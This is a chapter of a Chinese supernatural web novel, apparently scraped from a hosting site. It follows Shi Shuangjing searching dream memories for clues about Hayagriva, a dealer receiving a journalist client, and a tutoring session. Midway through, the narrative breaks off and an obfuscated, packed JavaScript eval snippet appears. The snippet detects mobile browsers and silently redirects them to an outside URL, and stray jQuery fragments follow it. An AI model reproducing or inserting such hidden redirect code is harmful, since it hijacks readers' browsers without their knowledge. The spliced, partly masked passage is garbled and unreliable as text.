140.大智若愚篇(三)

作品:《隐神新妻

    第二晚,施霜景入梦,罗爱曜请他帮一个忙:“帮我留意一下马头明王的线索。”


    施霜景不知道具体会是怎样的线索,只能打起十二分的注意,发挥自己的直觉。


    梦中,施霜景每次看罗爱曜假扮“卓逸纶”,都不禁觉得罗爱曜未免太爱演。自称是施霜景的舅舅,时不时把施霜景和佛子搬出来吓唬□□歌,每每看到这样的桥段,施霜景就会微微地乜一下罗爱曜,罗爱曜满不在意,怡然自得。在梦里很容易区分罗爱曜和卓逸纶,罗爱曜是蓝眼,卓逸纶是黑瞳,而且梦里的人是不会与梦境本身相互干涉的。


    看到马家男孩说“杀爸爸,请客人”的时候,施霜景望向正在呕吐的□□歌。□□歌双目圆睁,微微外突,面若红盘,吐得神志不清、青筋暴起。罗爱曜则是暂停了这一场景,迈步环绕卓逸纶和他所牵住的两个小孩。


    这一举措细致得像是查案。


    施霜景隐约感觉有些不对劲,可其中微妙又很难被语言形容,找来找去没找到证据。为了确保自己对马头明王和马鸣菩萨有正确的区分,施霜景再问了罗爱曜一遍。


    “我曾经不确定马鸣菩萨是否已位列佛国,这回我确认他已经是了。马鸣菩萨乘白马,为菩萨善相。你对佛教不了解,马鸣菩萨活跃时期比龙树菩萨更早,以辩法、作诵为声名。你如果看到一个文气的菩萨,那应该是马鸣菩萨。马头明王则相反,作怒目恐怖的明王相,他主降妖伏魔,所以眼神敏锐,手上法器有杵、杖或是索。明王是佛的教令轮身,佛生气了便成明王。所以一个慈眉善目,一个气势汹汹,二者气质差别很大。”


    原来全靠感觉。施霜景记住了。怒目明王,施霜景仔细回忆那尊马头明王小像,总感觉说不出的熟悉。


    “弟弟说,要杀了爸爸请你吃,你要是吃了会怎样?这会不会是马头明王示现的条件?”施霜景恨不得拿一个小本本把想法都记下来,等出了梦境再问罗爱曜。可惜根本没有这样的小本本,想到只能马上问出口。


    “啖食血肉么?这确实有可能。可到底是佛门密宗,我们不会无缘无故送人作食粮。好吧,我也承认,我不想吃□□歌,他看起来就不好吃。”


    然后施霜景便看见罗爱曜赠与女孩诃梨勒,让她搜集马家人的血,以服用结出的诃梨勒来达到与马鸣菩萨沟通的目的。


    在马家人大部队到来的前几日,罗爱曜调查过一轮,没发现明显的指示或痕迹。施霜景会被马家天的伎乐搞得很烦心,吹拉弹唱的,乍一听是佛音喜悦,听久了像某种恐怖情节的背景音,愈是好听的旋律,在配合诡异怪奇的场景时就愈是骇人。施霜景嘀咕道:“□□歌从‘杀爸爸’那句话之后就一直在生病么?他没有出过门?”


    “确实没有。马家人抵达大宅时,只见到孙渺渺和两个孩子迎客。”


    “唔,罗爱曜,你从马家大宅赶回来,专心地救我……那马家人呢?□□歌一家现在怎么样了?”


    这下真是再也不能说施霜景笨。施霜景比较擅长以人的关系来推想事件,罗爱曜则是太过理性,注重当时当下的证据与经验。罗爱曜一天之内从草原赶回D市,马不停蹄地救施霜景,救完以后,精神与驱动力崩塌得厉害,竟然也没多问几句马家人的情况。罗爱曜只有推论,却忘了实践。


    第二晚的梦让施霜景好累,瞪大眼睛,不放过每一个细节,可其实马家大宅很难藏一个明王一般的存在,就算有,也应该藏得很好。搞不懂。而且马头明王呈怒面,他在生什么气呢?降妖伏魔,施霜景也没听过罗爱曜提有关“魔”的事。


    白天,施霜景补课刷题,罗爱曜试探道:“如果我现在出门去找柳闻斌,你会不自在么?”


    “有点。”


    施霜景似乎有些犯分离焦虑,加上很明目张胆的双标。施霜景需要知道罗爱曜在家。二诊结束那天,施霜景和同学聚餐,这时他就不会犯分离焦虑,因为他确定罗爱曜在家等自己。一旦情形反过来,是施霜景在家等罗爱曜,那他就会情不自禁冒冷汗,即便罗爱曜只是开车去菜鸟驿站取快递。


    “想吃什么,我让柳闻斌带过来。”


    “别老折腾柳哥。”


    “你叫他‘哥’,岂不是连带我的辈分也低了一级。”


    “放心,你在他心里永远是他的佛爷爷。”


    李婉萦在厨房切香瓜,听二人的对话实在太想笑。她调整表情,要专业。李婉萦端出一盘香瓜,问罗爱曜要不要吃,罗爱曜摇头回房间。李婉萦给施霜景十分钟休息时间,吃香瓜清爽清爽脑子。


    罗爱曜回屋给柳闻斌打电话,柳闻斌点开免提,听佛子说了前因后果,柳闻斌一拍大腿:“这不巧了么!佛子,我现在要先去接一位客人,她通过我家白事店订了两具棺材和两场白事村宴,花了六位数呢。她想来励光厂转转,我来找您,顺便把她送来励光厂。”


    柳闻斌要见的客人是位极为美丽的女人,做调查记者的,老家在S省南部靠近风景区的一个小村。客人名为周辛楣。周辛楣的母亲病重,她提前做好准备,这无可厚非,不过现在就把父亲的棺材也一并定下,柳闻斌感觉这疏离冷淡的大美女确实百无禁忌。


    “励光厂到了。周女士您注意安全,要是有什么问题再打电话给我,我下午都在励光厂。”


    “柳老板,我听说去年年底的时候,这厂里有许多老人去世,这事是真的么?”


    柳闻斌心里瞬间警惕,脸上笑呵呵:“这要去看新闻、问警察吧,干嘛问我?”


    “就是因为没有新闻,我才觉得古怪。我听同事提起这件事,她是励光厂出来的厂三代,请假奔丧回来之后提了一嘴,我觉得恐怖,她却像没事人一样。”


    “周女士啊,有些事情可以查,有些事情不可以深究嘛。这个道理我们出来上班的人都懂,别难为我啊。棺材交付时间和村里流水席都按合同来,有事您还可以打电话给我老婆。”


    柳闻斌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629749|168887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    送走周辛楣,心道怎么又来个祖宗,别是来坏佛子事的吧?幸好之后柳闻斌从未听佛子或施霜景提过这号人,看来她就是单纯来励光厂采风罢了。


    柳闻斌从后备箱提出两只杀好的走地鸡当伴手礼,空手不上门。施霜景赶紧把两只生鸡塞进冰箱,并表示他还在补课,就不招待柳闻斌了。罗爱曜与柳闻斌在三楼谈话。


    “佛子,你算是问对人了。当时马家的司机把我们送到西宁机场,我们没空多聊,第二天你和小景报平安,马家司机也来了消息,说大家竟然都自行离开了……你记不记得我们离开马家大宅时,马家停车场都停满了,车牌天南地北,哪儿都有。司机第二天带上人一起去马家大宅,生怕遇见什么事故讲不清楚,还犹豫要不要报警。他一到马家,发现门口那些车全开走了,一辆也不剩。”


    “那□□歌一家呢?”


    “不清楚。司机带人翻墙进马家大宅,好像早已人去楼空了。佛子,你不会还要去马家吧?”


    “不必,马家邪性,就连我去了也会中招。小景身体刚好,我不想走。”


    柳闻斌搜肠刮肚,回忆还有没有什么事情没向佛子讲过。哦,还有这个。柳闻斌将施霜景父亲的墓地地址告诉罗爱曜,再次询问罗爱曜的意见,到底要不要给施霜景父亲找个风水宝地,说不定还能祖坟冒青烟,保佑施霜景高考顺利呢?


    罗爱曜只觉搞笑,跑来他面前讲“保佑”,简直是班门弄斧。


    施霜景做生物题,画谱系图,算遗传概率。黑笔渐渐不出墨了,施霜景将书包从地上拎到膝上,找笔芯。摸探之间,施霜景忽然久违地摸到那把冷铁。


    他掏出那把金刚杵,回忆涌上心头。他用金刚杵抵抗鬼子母神的饿鬼子嗣,跟踪庄晓时摸出金刚杵防身……等等,怪不得施霜景觉得马头明王的怒目相有些熟悉,看佛像尤其。如今施霜景手上的金刚杵呈双头宝塔型,圆润对称,更像是仪式用法器。不是这个版本。施霜景将金刚杵藏进卫衣,假装去上厕所,便带着金刚杵进了浴室。


    施霜景分明记得这金刚杵还有另一种形态,一头是怒目金刚,另一头是尖尖的三棱刺,很有杀伤力。施霜景忘记当初他是如何操作才让金刚杵更换形态,是拜托它么?拜托!虽然现在没有危险,但是我只想验证一下我的记忆。施霜景双手捧金刚杵,静静等候变幻。


    三分钟后,施霜景放弃,尿遁时间已到。


    回到桌前,李婉萦抬头,朝施霜景比了个大拇指:“这题的谱系图画得非常好,你算完这道遗传概率,我们做个生物小测?”


    李婉萦现在有意识地训练限时考,让施霜景养成高考的时间习惯,例如九十分满分的生物应该在半小时左右完成。施霜景没有同班同学的压力,复习心态较为轻松,这时增加考试也可以为他紧一紧神经。


    半小时后,李婉萦收卷子,判分。


    “不错啊,施霜景,你生物能拿六十分了,这是高考真题。”